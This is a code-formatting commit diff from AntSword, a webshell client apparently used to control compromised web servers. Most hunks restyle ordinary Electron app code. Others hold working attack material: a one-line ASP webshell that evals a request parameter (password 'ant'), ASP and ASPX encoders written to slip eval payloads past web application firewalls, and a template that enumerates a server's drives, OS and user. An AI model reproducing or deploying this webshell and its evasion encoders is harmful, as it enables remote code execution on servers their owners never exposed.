Commit 22700479 authored by Medicean's avatar Medicean

(Other: Style) Code Format

parent 0dc7858f
......@@ -8,83 +8,92 @@
const path = require('path');
const electron = require('electron');
const { app, protocol, BrowserWindow } = require('electron');
const {app, protocol, BrowserWindow} = require('electron');
// 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL, indexedDB, cookies) 被禁止访问非标准schemes
protocol.registerStandardSchemes(['ant-views','ant-static','ant-src']);
// 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL,
// indexedDB, cookies) 被禁止访问非标准schemes
protocol.registerStandardSchemes(['ant-views', 'ant-static', 'ant-src']);
app
.once('ready', () => {
/**
app.once('ready', () => {
/**
* 注册静态资源protocol
* - 可通过注册的协议访问资源文件,如ant-static://libs/jquery.jquery.js
*/
[
[
['static', '/static/', 13],
['views', '/views/', 12], //- 通过访问访问ant-views来访问views 文件
['src', '/source/', 10] //- 通过访问访问ant-src来访问source 文件
].map((_) => {
protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => {
if(req.url.endsWith('/')){
req.url = req.url.substr(0,req.url.length-1);
}
cb({
path: path.normalize(path.join(__dirname, _[1], req.url.substr(_[2])))
});
'static', '/static/', 13
],
[
'views', '/views/', 12
], //- 通过访问访问ant-views来访问views 文件
['src', '/source/', 10] //- 通过访问访问ant-src来访问source 文件
].map((_) => {
protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => {
if (req.url.endsWith('/')) {
req.url = req
.url
.substr(0, req.url.length - 1);
}
cb({
path: path.normalize(path.join(__dirname, _[1], req.url.substr(_[2])))
});
});
});
// 初始化窗口
let mainWindow = new BrowserWindow({
width: 1040, height: 699,
minWidth: 888, minHeight: 555,
title: 'AntSword',
webPreferences: {
webgl: false,
javascript: true,
nodeIntegration: true, // 开启 nodejs 支持
// contextIsolation: false, // 关闭上下文隔离
// webSecurity: false,
// allowRunningInsecureContent: true,
// sandbox: false,
},
});
// 加载views
mainWindow.loadURL('ant-views://front/index.html');
// 调整部分UI
const reloadUI = mainWindow.webContents.send.bind(
mainWindow.webContents,
'reloadui', true
);
// 初始化窗口
let mainWindow = new BrowserWindow({
width: 1040,
height: 699,
minWidth: 888,
minHeight: 555,
title: 'AntSword',
webPreferences: {
webgl: false,
javascript: true,
nodeIntegration: true, // 开启 nodejs 支持
// contextIsolation: false, // 关闭上下文隔离 webSecurity: false,
// allowRunningInsecureContent: true, sandbox: false,
}
});
// 窗口事件监听
mainWindow
.on('close', (event) => {
event.preventDefault();
app.exit(0);
})
.on('minimize', (event) => {
event.preventDefault();
if (process.platform == 'darwin') {
app.hide();
}else{
mainWindow.hide();
}
})
.on('resize', reloadUI)
.on('maximize', reloadUI)
.on('unmaximize', reloadUI)
.on('enter-full-screen', reloadUI)
.on('leave-full-screen', reloadUI);
// 加载views
mainWindow.loadURL('ant-views://front/index.html');
// 调整部分UI
const reloadUI = mainWindow
.webContents
.send
.bind(mainWindow.webContents, 'reloadui', true);
// 窗口事件监听
mainWindow.on('close', (event) => {
event.preventDefault();
app.exit(0);
}).on('minimize', (event) => {
event.preventDefault();
if (process.platform == 'darwin') {
app.hide();
} else {
mainWindow.hide();
}
})
.on('resize', reloadUI)
.on('maximize', reloadUI)
.on('unmaximize', reloadUI)
.on('enter-full-screen', reloadUI)
.on('leave-full-screen', reloadUI);
// 打开调试控制台
// mainWindow.webContents.openDevTools();
// 打开调试控制台 mainWindow.webContents.openDevTools();
electron.Logger = require('./modules/logger')(mainWindow);
// 初始化模块
['menubar', 'request', 'database', 'cache', 'update', 'plugStore'].map((_) => {
new ( require(`./modules/${_}`) )(electron, app, mainWindow);
});
electron.Logger = require('./modules/logger')(mainWindow);
// 初始化模块
[
'menubar',
'request',
'database',
'cache',
'update',
'plugStore'
].map((_) => {
new(require(`./modules/${_}`))(electron, app, mainWindow);
});
});
......@@ -22,7 +22,8 @@ class Cache {
*/
constructor(electron) {
logger = new electron.Logger('Cache');
electron.ipcMain
electron
.ipcMain
.on('cache-add', this.addCache.bind(this))
.on('cache-set', this.setCache.bind(this))
.on('cache-get', this.getCache.bind(this))
......@@ -36,7 +37,7 @@ class Cache {
* @param {String} id 数据存储文件名
* @return {[type]} [description]
*/
createDB(id = String(+new Date)) {
createDB(id = String(+ new Date)) {
return new Datastore({
filename: path.join(CONF.cachePath, id),
autoload: true
......@@ -50,12 +51,14 @@ class Cache {
*/
addCache(event, opts) {
logger.debug('addCache', opts);
this.createDB(opts['id']).insert({
tag: opts['tag'],
cache: opts['cache']
}, (err, ret) => {
event.returnValue = err || ret;
});
this
.createDB(opts['id'])
.insert({
tag: opts['tag'],
cache: opts['cache']
}, (err, ret) => {
event.returnValue = err || ret;
});
}
/**
......@@ -65,15 +68,17 @@ class Cache {
*/
setCache(event, opts) {
logger.debug('setCache', opts);
this.createDB(opts['id']).update({
tag: opts['tag']
}, {
$set: {
cache: opts['cache']
}
}, (err, ret) => {
event.returnValue = err || ret;
});
this
.createDB(opts['id'])
.update({
tag: opts['tag']
}, {
$set: {
cache: opts['cache']
}
}, (err, ret) => {
event.returnValue = err || ret;
});
}
/**
......@@ -84,11 +89,13 @@ class Cache {
*/
getCache(event, opts) {
logger.debug('getCache', opts);
this.createDB(opts['id']).findOne({
tag: opts['tag']
}, (err, ret) => {
event.returnValue = err || ret;
})
this
.createDB(opts['id'])
.findOne({
tag: opts['tag']
}, (err, ret) => {
event.returnValue = err || ret;
})
}
/**
......@@ -99,11 +106,13 @@ class Cache {
*/
delCache(event, opts) {
logger.warn('delCache', opts);
this.createDB(opts['id']).remove({
tag: opts['tag']
}, (err, ret) => {
event.returnValue = err || ret;
});
this
.createDB(opts['id'])
.remove({
tag: opts['tag']
}, (err, ret) => {
event.returnValue = err || ret;
});
}
/**
......@@ -114,10 +123,10 @@ class Cache {
*/
clearCache(event, opts) {
logger.fatal('clearCache', opts);
try{
try {
fs.unlinkSync(path.join(CONF.cachePath, opts['id']));
event.returnValue = true;
}catch(e) {
} catch (e) {
event.returnValue = e;
}
}
......@@ -130,12 +139,14 @@ class Cache {
*/
clearAllCache(event, opts) {
logger.fatal('clearAllCache', opts);
try{
fs.readdirSync(CONF.cachePath).map((_) => {
fs.unlinkSync(path.join(CONF.cachePath, _));
});
try {
fs
.readdirSync(CONF.cachePath)
.map((_) => {
fs.unlinkSync(path.join(CONF.cachePath, _));
});
event.returnValue = true;
}catch(e) {
} catch (e) {
event.returnValue = e;
}
}
......
......@@ -15,24 +15,16 @@ class Conf {
constructor() {
// 旧数据存储目录
let _oldPath = path.join(
process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.',
'.antSword',
'shell.db'
);
let _oldPath = path.join(process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.', '.antSword', 'shell.db');
// 数据存储目录
this.basePath = path.join(
process.env.AS_WORKDIR,
'antData'
)
this.basePath = path.join(process.env.AS_WORKDIR, 'antData')
// 初始化目录
!fs.existsSync(this.basePath) ? fs.mkdirSync(this.basePath) : null;
!fs.existsSync(this.basePath)
? fs.mkdirSync(this.basePath)
: null;
// 旧数据搬迁
if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) {
fs.writeFileSync(
this.dataPath,
fs.readFileSync(_oldPath)
)
fs.writeFileSync(this.dataPath, fs.readFileSync(_oldPath))
}
// 初始化目录
this.tmpPath;
......@@ -55,7 +47,9 @@ class Conf {
get cachePath() {
let _ = path.join(this.basePath, '/cache/');
// 创建缓存目录
!fs.existsSync(_) ? fs.mkdirSync(_) : null;
!fs.existsSync(_)
? fs.mkdirSync(_)
: null;
return _;
}
......@@ -66,7 +60,9 @@ class Conf {
*/
get plugPath() {
let _ = path.join(this.basePath, '/plugins/');
!fs.existsSync(_) ? fs.mkdirSync(_) : null;
!fs.existsSync(_)
? fs.mkdirSync(_)
: null;
return _;
}
......@@ -77,7 +73,9 @@ class Conf {
*/
get tmpPath() {
let _ = path.join(this.basePath, '/.temp/');
!fs.existsSync(_) ? fs.mkdirSync(_) : null;
!fs.existsSync(_)
? fs.mkdirSync(_)
: null;
return _;
}
......
This diff is collapsed.
......@@ -21,8 +21,12 @@ class Logger {
* @return {String} 格式化后的内容文本
*/
parseLog(type, logs) {
let tm = new Date().toTimeString().split(' ')[0];
let log = typeof logs === 'object' ? JSON.stringify(logs) : String(logs);
let tm = new Date()
.toTimeString()
.split(' ')[0];
let log = typeof logs === 'object'
? JSON.stringify(logs)
: String(logs);
return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`;
}
......@@ -31,7 +35,10 @@ class Logger {
* @return {[type]} [description]
*/
debug() {
mainWindow.send('logger-debug', [this.parseLog('debug', arguments), arguments]);
mainWindow.send('logger-debug', [
this.parseLog('debug', arguments),
arguments
]);
}
/**
......@@ -39,7 +46,10 @@ class Logger {
* @return {[type]} [description]
*/
info() {
mainWindow.send('logger-info', [this.parseLog('info', arguments), arguments]);
mainWindow.send('logger-info', [
this.parseLog('info', arguments),
arguments
]);
}
/**
......@@ -47,7 +57,10 @@ class Logger {
* @return {[type]} [description]
*/
warn() {
mainWindow.send('logger-warn', [this.parseLog('warn', arguments), arguments]);
mainWindow.send('logger-warn', [
this.parseLog('warn', arguments),
arguments
]);
}
/**
......@@ -55,7 +68,10 @@ class Logger {
* @return {[type]} [description]
*/
fatal() {
mainWindow.send('logger-fatal', [this.parseLog('fatal', arguments), arguments]);
mainWindow.send('logger-fatal', [
this.parseLog('fatal', arguments),
arguments
]);
}
}
......
This diff is collapsed.
......@@ -16,26 +16,33 @@ class PlugStore {
logger = new electron.Logger('PlugStore');
this.listenDownload(mainWindow);
electron.ipcMain
electron
.ipcMain
.on('store-uninstall', (event, plugName) => {
logger.warn('UnInstall', plugName);
// 删除目录
this.rmdir(
path.join(CONF.plugPath, `${plugName}-master`)
).then((ret) => {
event.returnValue = ret;
// 重新加载插件列表
mainWindow.webContents.send('reloadPlug', true);
});
this
.rmdir(path.join(CONF.plugPath, `${plugName}-master`))
.then((ret) => {
event.returnValue = ret;
// 重新加载插件列表
mainWindow
.webContents
.send('reloadPlug', true);
});
})
.on('store-uninstall-dev', (event, plugPath) => {
logger.warn('UnInstall.DEV', plugPath);
// 删除目录
this.rmdir(plugPath).then((ret) => {
event.returnValue = ret;
// 重新加载插件列表
mainWindow.webContents.send('reloadPlug', true);
});
this
.rmdir(plugPath)
.then((ret) => {
event.returnValue = ret;
// 重新加载插件列表
mainWindow
.webContents
.send('reloadPlug', true);
});
})
// 获取插件路径
.on('store-config-plugPath', (event) => {
......@@ -49,52 +56,61 @@ class PlugStore {
* @return {[type]} [description]
*/
listenDownload(mainWindow) {
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
let fileName = item.getFilename().replace(/\-master\.zip$/,'');
let downLink = item.getURL();
logger.info('down-store-plug', downLink);
// 判断是否下载为插件
if (downLink.indexOf('github.com/AntSword-Store') > 0) {
// 1. 设置插件存储目录
let savePath = path.join(CONF.tmpPath, `${fileName}.zip`);
item.setSavePath(savePath);
webContents.send('store-download-progress', {
file: fileName,
type: 'init',
total: item.getTotalBytes()
});
// 2. 插件下载进度更新
item.on('updated', () => {
mainWindow
.webContents
.session
.on('will-download', (event, item, webContents) => {
let fileName = item
.getFilename()
.replace(/\-master\.zip$/, '');
let downLink = item.getURL();
logger.info('down-store-plug', downLink);
// 判断是否下载为插件
if (downLink.indexOf('github.com/AntSword-Store') > 0) {
// 1. 设置插件存储目录
let savePath = path.join(CONF.tmpPath, `${fileName}.zip`);
item.setSavePath(savePath);
webContents.send('store-download-progress', {
file: fileName,
type: 'downloading',
size: item.getReceivedBytes()
type: 'init',
total: item.getTotalBytes()
});
});
// 3. 插件下载完毕
item.on('done', (e, state) => {
webContents.send('store-download-progress', {
file: fileName,
path: savePath,
type: 'downloaded',
state: state
// 2. 插件下载进度更新
item.on('updated', () => {
webContents.send('store-download-progress', {
file: fileName,
type: 'downloading',
size: item.getReceivedBytes()
});
});
if (state !== 'completed') { return };
// 解压安装插件
UNZIP(savePath, {
dir: CONF.plugPath
}, (err) => {
// 3. 插件下载完毕
item.on('done', (e, state) => {
webContents.send('store-download-progress', {
type: 'installed',
file: fileName
file: fileName,
path: savePath,
type: 'downloaded',
state: state
});
if (state !== 'completed') {
return
};
// 解压安装插件
UNZIP(savePath, {
dir: CONF.plugPath
}, (err) => {
webContents.send('store-download-progress', {
type: 'installed',
file: fileName
});
logger.info('Installed', fileName);
// 重新加载插件列表
mainWindow
.webContents
.send('reloadPlug', true);
});
logger.info('Installed', fileName);
// 重新加载插件列表
mainWindow.webContents.send('reloadPlug', true);
});
});
}
});
}
});
}
/**
......@@ -107,19 +123,23 @@ class PlugStore {
let ret = true;
// 循环删除目录
const _rmdir = (_dir) => {
if (!fs.existsSync(_dir)) { return }
fs.readdirSync(_dir).map((_) => {
// 生成完整路径
let _path = path.join(dir, _);
// 如果是目录,则继续循环,否则删除
if (fs.lstatSync(_path).isDirectory()) {
return this.rmdir(_path);
}
fs.unlinkSync(_path);
});
if (!fs.existsSync(_dir)) {
return
}
fs
.readdirSync(_dir)
.map((_) => {
// 生成完整路径
let _path = path.join(dir, _);
// 如果是目录,则继续循环,否则删除
if (fs.lstatSync(_path).isDirectory()) {
return this.rmdir(_path);
}
fs.unlinkSync(_path);
});
fs.rmdirSync(_dir);
}
try{
try {
_rmdir(dir);
} catch (e) {
ret = e;
......
This diff is collapsed.
......@@ -15,18 +15,21 @@ const tar = require('tar');
class Update {
constructor(electron) {
this.logger = new electron.Logger('Update');
electron.ipcMain
.on('check-update', this.checkUpdate.bind(this))
.on('check-loader-update', this.checkLoaderUpdate.bind(this))
.on('update-download', this.onDownlaod.bind(this));
electron
.ipcMain
.on('check-update', this.checkUpdate.bind(this))
.on('check-loader-update', this.checkLoaderUpdate.bind(this))
.on('update-download', this.onDownlaod.bind(this));
}
/**
* 检查 loader 是否需要更新
* @param {[type]} event
* @param {[type]} event
*/
checkLoaderUpdate(event) {
this.logger.debug('checkLoaderUpdate..')
this
.logger
.debug('checkLoaderUpdate..')
superagent
.get('https://api.github.com/repos/antswordproject/antSword-Loader/releases/latest')
.end((err, ret) => {
......@@ -36,17 +39,25 @@ class Update {
let curVersion = process.env.AS_LOADER_VER || '2.0.1';
// 比对版本
if (this.CompVersion(curVersion, newVersion)) {
this.logger.info('Found a new loader version', newVersion);
event.sender.send('notification-loader-update', {
ver: newVersion,
url: lastInfo['html_url'],
body: lastInfo['body']
});
this
.logger
.info('Found a new loader version', newVersion);
event
.sender
.send('notification-loader-update', {
ver: newVersion,
url: lastInfo['html_url'],
body: lastInfo['body']
});
} else {
this.logger.warn('No new loader version.', newVersion, curVersion);
this
.logger
.warn('No new loader version.', newVersion, curVersion);
}
} catch(e) {
this.logger.fatal('ERR', e);
} catch (e) {
this
.logger
.fatal('ERR', e);
}
});
}
......@@ -57,7 +68,9 @@ class Update {
* @return {[type]} [description]
*/
checkUpdate(event) {
this.logger.debug('checkUpdate..');
this
.logger
.debug('checkUpdate..');
superagent
.get('https://api.github.com/repos/antoor/antSword/releases/latest')
.end((err, ret) => {
......@@ -67,17 +80,25 @@ class Update {
let curVersion = config['package'].version;
// 比对版本
if (this.CompVersion(curVersion, newVersion)) {
this.logger.info('Found a new version', newVersion);
event.sender.send('notification-update', {
ver: newVersion,
url: lastInfo['html_url'],
body: lastInfo['body']
});
this
.logger
.info('Found a new version', newVersion);
event
.sender
.send('notification-update', {
ver: newVersion,
url: lastInfo['html_url'],
body: lastInfo['body']
});
} else {
this.logger.warn('No new version.', newVersion, curVersion);
this
.logger
.warn('No new version.', newVersion, curVersion);
}
} catch(e) {
this.logger.fatal('ERR', e);
} catch (e) {
this
.logger
.fatal('ERR', e);
}
});
}
......@@ -90,18 +111,20 @@ class Update {
*/
CompVersion(curVer, newVer) {
// 如果版本相同
if (curVer === newVer) { return false }
if (curVer === newVer) {
return false
}
let currVerArr = curVer.split(".");
let promoteVerArr = newVer.split(".");
let len = Math.max(currVerArr.length, promoteVerArr.length);
for (let i = 0; i < len; i++) {
let proVal = ~~promoteVerArr[i],
curVal = ~~currVerArr[i];
if (proVal < curVal) {
return false;
} else if (proVal > curVal) {
return true;
}
let proVal = ~~promoteVerArr[i],
curVal = ~~currVerArr[i];
if (proVal < curVal) {
return false;
} else if (proVal > curVal) {
return true;
}
}
return false;
}
......@@ -124,67 +147,78 @@ class Update {
let tempData = [];
let totalsize = 0;
let downsize = 0;
let url="https://github.com/AntSwordProject/AntSword/archive/master.tar.gz";
superagent.head(url)
.set('User-Agent', "antSword/v2.0")
.redirects(5)
.timeout(30000)
.end((err, res)=>{
if(err){
event.sender.send(`update-error-${hash}`, err);
}else{
totalsize = parseInt(res.header['content-length']);
superagent
.get(url)
.set('User-Agent', "antSword/v2.0")
.redirects(5)
// .proxy(APROXY_CONF['uri'])
// 设置超时会导致文件过大时写入出错
// .timeout(timeout)
.pipe(through(
(chunk) => {
downsize += chunk.length;
tempData.push(chunk);
if(totalsize>0){
var progress = parseInt(downsize/totalsize*100);
event.sender.send(`update-dlprogress-${hash}`, progress, true);
}else{
event.sender.send(`update-dlprogress-${hash}`, downsize, false);
}
},
() => {
that.logger.debug("Download end.");
let tempDataBuffer = Buffer.concat(tempData);
let url = "https://github.com/AntSwordProject/AntSword/archive/master.tar.gz";
superagent
.head(url)
.set('User-Agent', "antSword/v2.0")
.redirects(5)
.timeout(30000)
.end((err, res) => {
if (err) {
event
.sender
.send(`update-error-${hash}`, err);
} else {
totalsize = parseInt(res.header['content-length']);
superagent
.get(url)
.set('User-Agent', "antSword/v2.0")
.redirects(5)
// .proxy(APROXY_CONF['uri']) 设置超时会导致文件过大时写入出错 .timeout(timeout)
.pipe(through((chunk) => {
downsize += chunk.length;
tempData.push(chunk);
if (totalsize > 0) {
var progress = parseInt(downsize / totalsize * 100);
event
.sender
.send(`update-dlprogress-${hash}`, progress, true);
} else {
event
.sender
.send(`update-dlprogress-${hash}`, downsize, false);
}
}, () => {
that
.logger
.debug("Download end.");
let tempDataBuffer = Buffer.concat(tempData);
if (totalsize > 0 && downsize != totalsize) {
event.sender.send(`update-error-${hash}`, "Download Error.");
return
}
event.sender.send(`update-dlend-${hash}`, tempDataBuffer.length);
// 同步写入文件
fs.writeFileSync(savePath, tempDataBuffer);
// 删除内存数据
tempDataBuffer = tempData = null;
if (totalsize > 0 && downsize != totalsize) {
event
.sender
.send(`update-error-${hash}`, "Download Error.");
return
}
event
.sender
.send(`update-dlend-${hash}`, tempDataBuffer.length);
// 同步写入文件
fs.writeFileSync(savePath, tempDataBuffer);
// 删除内存数据
tempDataBuffer = tempData = null;
// TODO: 需不需要备份?
// TODO: 删除原来的 node_modules 目录
// 解压数据
tar.x({
file: savePath,
strip: 1,
C: process.env.AS_WORKDIR,
}).then(_=>{
that.logger.info("update success.");
event.sender.send(`update-success`);
fs.unlink(savePath);
}, err=>{
event.sender.send(`update-error-${hash}`, err);
fs.unlink(savePath);
});
}
));
}
});
// TODO: 需不需要备份?
// TODO: 删除原来的 node_modules 目录 解压数据
tar
.x({file: savePath, strip: 1, C: process.env.AS_WORKDIR})
.then(_ => {
that
.logger
.info("update success.");
event
.sender
.send(`update-success`);
fs.unlink(savePath);
}, err => {
event
.sender
.send(`update-error-${hash}`, err);
fs.unlink(savePath);
});
}));
}
});
}
}
......
This diff is collapsed.
......@@ -16,7 +16,9 @@ class CacheManager {
id: this.id,
tag: tag
});
return ret ? ret['cache'] : false;
return ret
? ret['cache']
: false;
}
// 更新缓存
......@@ -38,9 +40,7 @@ class CacheManager {
// 清空缓存
clear() {
return this.sender('cache-clear', {
id: this.id
});
return this.sender('cache-clear', {id: this.id});
}
}
......
......@@ -23,27 +23,35 @@ class Decodes {
options = options || {};
buffer = buffer || Buffer('');
var DEFAULT_ENCODING = 'GBK', MIN_CONFIDENCE = 0.96;
var DEFAULT_ENCODING = 'GBK',
MIN_CONFIDENCE = 0.96;
var verbose = options.verbose;
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer), encoding = ret.encoding === 'ascii' ? 'utf-8' : ret.encoding,
confidence = ret.confidence;
var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii'
? 'utf-8'
: ret.encoding,
confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose ? {
encoding: defaultEncoding,
oriEncoding: encoding,
confidence: confidence
} : defaultEncoding;
return verbose
? {
encoding: defaultEncoding,
oriEncoding: encoding,
confidence: confidence
}
: defaultEncoding;
} else {
encoding = encoding.toUpperCase();
return verbose ? {
encoding: encoding,
oriEncoding: encoding,
confidence: confidence
} : encoding;
encoding = encoding.toUpperCase();
return verbose
? {
encoding: encoding,
oriEncoding: encoding,
confidence: confidence
}
: encoding;
}
}
......
......@@ -19,10 +19,10 @@ class Menubar {
if (argv instanceof Array && argv.length === 2) {
cmd = argv[0];
arg = argv[1];
}else{
} else {
cmd = argv;
}
switch(cmd) {
switch (cmd) {
case 'tabbar-next':
antSword['tabbar'].goToNextTab();
break;
......@@ -31,13 +31,19 @@ class Menubar {
break;
case 'tabbar-close':
const tab = antSword['tabbar'].getActiveTab();
if (tab === 'tab_shellmanager') { return };
antSword['tabbar'].tabs(tab).close();
if (tab === 'tab_shellmanager') {
return
};
antSword['tabbar']
.tabs(tab)
.close();
break;
default:
// 检测是否有注册事件?执行注册事件:忽略
let caller = this.events[cmd];
if (caller instanceof Function) { caller() };
if (caller instanceof Function) {
caller()
};
}
});
}
......
......@@ -12,9 +12,11 @@
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function($, $1) {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) {
// asunescape(%) 表示括号内的内容不会被 URL 编码
return $1.split('').join('asunescape(%)');
return $1
.split('')
.join('asunescape(%)');
});
data[pwd] = Buffer.from(_tmp);
delete data['_'];
......
//
//
// asp::xxxx 编码模块
//
// :把eval替换成 xxxx 用于过狗
//
// 服务端:<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>
// 密码:ant
// :把eval替换成 xxxx 用于过狗
/*
服务端:
<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>
密码:ant
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
......
......@@ -15,22 +15,32 @@ class ASP extends Base {
super(opts);
// 解析模板
[
'base', 'command', 'filemanager',
'database/dsn', 'database/mysql',
'database/access', 'database/oracle',
'database/sqlserver', 'database/sqloledb_1',
'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0'
'base',
'command',
'filemanager',
'database/dsn',
'database/mysql',
'database/access',
'database/oracle',
'database/sqlserver',
'database/sqloledb_1',
'database/sqloledb_1_sspi',
'database/microsoft_jet_oledb_4_0'
].map((_) => {
this.parseTemplate(`./asp/template/${_}`);
});
// 解析编码器
this.encoders.map((_) => {
this.parseEncoder(`./asp/encoder/${_}`);
});
this.decoders.map((_) => {
this.parseDecoder(`./asp/decoder/${_}`);
});
this
.encoders
.map((_) => {
this.parseEncoder(`./asp/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./asp/decoder/${_}`);
});
}
/**
......@@ -50,13 +60,21 @@ class ASP extends Base {
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data, force_default=false) {
complete(data, force_default = false) {
// 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // '->|';
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-';
let tag_s = Math
.random()
.toString(16)
.substr(2, 5); // '->|';
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']);
let formatter = Base
.prototype
.format(this.__opts__['encode']);
// hex编码一次数据
let hexCode = formatter['hex'](data['_']);
......
//
//
// aspx::base64 编码模块
//
//
// :把除了密码的其他参数都base64编码一次
//
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = Buffer.from(data['_']).toString('base64');
let randomID = `_0x${Math
.random()
.toString(16)
.substr(2)}`;
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["${randomID}"])),"unsafe");`;
delete data['_'];
return data;
......
//
//
// aspx::hex 编码模块
//
//
// 把除了密码的其他参数都 hex 编码一次
//
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new System.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));}return sb.ToString();};";
data[randomID] = Buffer.from(data['_']).toString('hex');
let randomID = `_0x${Math
.random()
.toString(16)
.substr(2)}`;
let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new Sys" +
"tem.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Co" +
"nvert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Glob" +
"alization.NumberStyles.HexNumber))));}return sb.ToString();};";
data[randomID] = Buffer
.from(data['_'])
.toString('hex');
data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`;
delete data['_'];
return data;
......
......@@ -8,21 +8,23 @@
'use strict';
function char2unicode(c) {
if(c.length != 1) {
if (c.length != 1) {
return '';
}
let buff = Buffer.alloc(4, '0');
let hexstr = c.charCodeAt().toString(16);
let hexstr = c
.charCodeAt()
.toString(16);
buff.write(hexstr, buff.length - hexstr.length, hexstr.length);
return "\\u" + buff.toString();
}
function string2unicode(str){
var ret = "";
for(var i=0; i<str.length; i++){
ret += char2unicode(str[i]);
}
return ret;
function string2unicode(str) {
var ret = "";
for (var i = 0; i < str.length; i++) {
ret += char2unicode(str[i]);
}
return ret;
}
/*
......@@ -30,7 +32,7 @@ function string2unicode(str){
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
module.exports = (pwd, data, ext = {}) => {
data[pwd] = string2unicode(data['_']).replace(/\\u/g, 'asunescape(%)u');
// 删除 _ 原有的payload
delete data['_'];
......
......@@ -18,21 +18,31 @@ class ASPX extends Base {
super(opts);
// 解析模板
[
'base', 'command', 'filemanager',
'database/dsn', 'database/mysql',
'database/access', 'database/oracle',
'database/sqlserver', 'database/sqloledb_1',
'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0'
'base',
'command',
'filemanager',
'database/dsn',
'database/mysql',
'database/access',
'database/oracle',
'database/sqlserver',
'database/sqloledb_1',
'database/sqloledb_1_sspi',
'database/microsoft_jet_oledb_4_0'
].map((_) => {
this.parseTemplate(`./aspx/template/${_}`);
});
// 解析编码器
this.encoders.map((_) => {
this.parseEncoder(`./aspx/encoder/${_}`);
});
this.decoders.map((_) => {
this.parseDecoder(`./aspx/decoder/${_}`);
});
this
.encoders
.map((_) => {
this.parseEncoder(`./aspx/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./aspx/decoder/${_}`);
});
}
/**
......@@ -40,7 +50,7 @@ class ASPX extends Base {
* @return {array} 编码器列表
*/
get encoders() {
return ["base64","hex", "url_unicode"];
return ["base64", "hex", "url_unicode"];
}
get decoders() {
......@@ -52,17 +62,25 @@ class ASPX extends Base {
* @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象
*/
complete(data, force_default=false) {
complete(data, force_default = false) {
// 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // '->|';
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-';
let tag_s = Math
.random()
.toString(16)
.substr(2, 5); // '->|';
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']);
let formatter = Base.prototype.format(this.__opts__['encode']);
let formatter = Base
.prototype
.format(this.__opts__['encode']);
let aspxencode = this.__opts__['encode'];
switch(this.__opts__['encode']) {
switch (this.__opts__['encode']) {
case "UTF8":
aspxencode = "UTF-8";
break;
......
......@@ -4,13 +4,14 @@
*/
module.exports = () => ({
info:
`var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`,
probedb: // 检测数据库函数支持
`function fe(S:String){try{new ActiveXObject(S);return 1;}catch(Exception){return 0;}};
info: {
_: `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`
},
probedb: { // 检测数据库函数支持
_: `function fe(S:String){try{new ActiveXObject(S);return 1;}catch(Exception){return 0;}};
var n="Adodb.Connection|Adodb.RecordSet";
n=n.Split("|");
